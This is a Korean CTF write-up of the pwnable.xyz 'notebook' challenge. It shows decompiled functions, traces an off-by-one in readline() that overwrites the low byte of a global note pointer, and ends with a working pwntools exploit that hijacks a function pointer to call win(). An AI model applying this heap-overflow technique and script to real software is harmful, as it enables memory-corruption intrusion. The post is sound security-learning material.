tmxklab
[Pwnable.xyz] notebook 본문
1. 문제
nc svc.pwnable.xyz 30035
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
printf("Name your notebook: ");
readline(&nbook, 128LL, 10LL);
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int() )
{
case 0uLL:
return 0;
case 1uLL:
make_note();
break;
case 2uLL:
edit_note();
break;
case 3uLL:
delete_note();
break;
case 4uLL:
printf("Notebook name: ");
readline(&nbook, 128LL, 10LL);
break;
default:
puts("Invalid");
break;
}
}
}
- 메뉴 1 : make_note(), 메뉴 2 : edit_note(), 메뉴 3 : delete_note()
3-2) make_note()
_QWORD *make_note()
{
_QWORD *result; // rax
int v1; // [rsp+4h] [rbp-Ch]
_QWORD *v2; // [rsp+8h] [rbp-8h]
printf("size: ");
v1 = read_int();
v2 = malloc(0x38uLL);
v2[6] = malloc(v1);
*(v2 + 2) = v1;
*v2 = get_size;
printf("Title: ");
readline(v2 + 12, 31, 10);
printf("Note: ");
readline(v2[6], v1, 10);
result = v2;
ptr = v2;
return result;
}
- v2 = malloc(0x38), v2[6] = malloc(v1)
- v2 + 2 = v1, v2 = getsize()
- title : read(0, v2 + 12, 31)
- note : read(0, v2[6], v1)
- ptr = v2
3-3) edit_note()
void *edit_note()
{
void *result; // rax
int v1; // eax
result = ptr;
if ( ptr )
{
result = *(ptr + 6);
if ( result )
{
printf("note: ");
v1 = (*ptr)(ptr);
result = readline(*(ptr + 6), v1, 10);
}
}
return result;
}
- ptr과 ptr+6이 존재하면 두 번째 if문 로직 실행
- (*ptr)(ptr)
- ptr전역변수에 존재하는 청크에 저장된 청크를 호출하는 듯
- read(ptr+6, v1, 10)
3-4) delete_note()
void delete_note()
{
if ( ptr )
{
if ( *(ptr + 6) )
{
free(*(ptr + 6));
free(ptr);
ptr = 0LL;
}
}
}
- ptr과 ptr+6이 존재하면 free(ptr+6), free(ptr)
전역변수)
- nbook : 0x602280 → notebook 이름 저장하는 곳
- ptr : 0x602300 → notebook_info청크 주소 저장하는 곳
2. 접근방법
일단 처음 생각한 거는 edit_note()에서 ptr전역변수에 있는 청크에 저장된 get_size를 호출하는 부분이다.
1) 청크 구조 확인
input)
- notebook name : "AAAAAAAA"
- size : 10
- title : "BBBBBBBB"
- note : "CCCCCCCC"
- nbook(전역변수, 주소: 0x602280) : notebook name("AAAAAAAA")
- note_info청크(주소 : 0x603000, size : static)
- note_info[0] : get_size()
- note_info[1] : size
- note_info + 12byte : title("BBBBBBBB")
- note_info[6] : 0x603050(note chunk)
- note청크(주소 : 0x603040, size : dynamic) : note("CCCCCCCC")
2) readline() 취약점(off by one)
코드를 자세히 안보고 지나쳐서 못봤는데 헤매다가 디버깅하다가 readline에서 취약점이 발생하는 것을 확인하였다.
unsigned __int64 __fastcall readline(__int64 a1, int a2, char a3)
{
char v4; // [rsp+0h] [rbp-20h]
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == v4 )
break;
*(a1 + i) = buf;
}
*(a1 + i) = buf;
return __readfsqword(0x28u) ^ v7;
}
read함수를 통해 buf에 한 바이트씩 저장하고 if문의 검증을 통과하면 *(a1+i)에 buf의 값을 저장한다. 추가로 for문은 파라미터로 받은 a2 즉, 사이즈만큼 반복된다. 만약, for문에 입력받은 buf가 v4('\n')와 동일하면 for문을 멈추고 *(a1+i)에 buf를 저장한다.
요약하면 문자열을 입력받는데 마지막에 개행문자('\n')을 추가하는 것 같다.
하지만, readline을 실행할 때 문자열에 개행문자가 포함되지 않는다면 for문은 a2만큼 계속 돌 것이며 for문 종료이후에 개행문자가 아닌 1byte 문자를 더 추가한다. (off bye one)
3) menu 4 → readline(&nbook, 128, 10)
- 메뉴 4에서 readline을 하기 직전의 상황이다.
- 현재 nbook에는 "A"*8이 저장되어 있고 ptr(nbook+128)에는 note_info청크의 주소가 담겨져 있다.
- readline에서 128byte만큼 "A"값을 개행문자 없이 넣었을 때 상황이다.
- nbook에 129byte만큼의 입력을 받아 ptr의 하위 1byte에 "A"가 들어갔다.
공격 프로세스)
- 메뉴 1 → note청크에 win함수를 넣고 *ptr+6에 0이 아닌 다른 값을 넣음
- 메뉴 4 → readline(nbook, "\x50"*0x80, 10)
- 메뉴 2 실행
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30035)
e = ELF("./challenge")
#gdb.attach(p)
win_addr = e.symbols['win']
p.sendlineafter("notebook: ", "A"*8)
# 1. make note
p.sendlineafter("> ", str(1))
p.sendlineafter("size: ", str(0x50))
p.sendlineafter("Title: ", "B"*8)
p.sendlineafter("Note: ", p64(win_addr) + p64(0)*5 + p64(1))
# 2. 1byte overflow
p.sendlineafter("> ", str(4))
p.sendafter("name: ", "\x50"*0x80)
p.sendlineafter("> ", str(2))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] car shop (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] words (0) | 2020.09.09 |
[Pwnable.xyz] nin (0) | 2020.09.09 |
[Pwnable.xyz] Dirty Turtle (0) | 2020.09.09 |
[Pwnable.xyz] Hero Factory (0) | 2020.09.09 |
Comments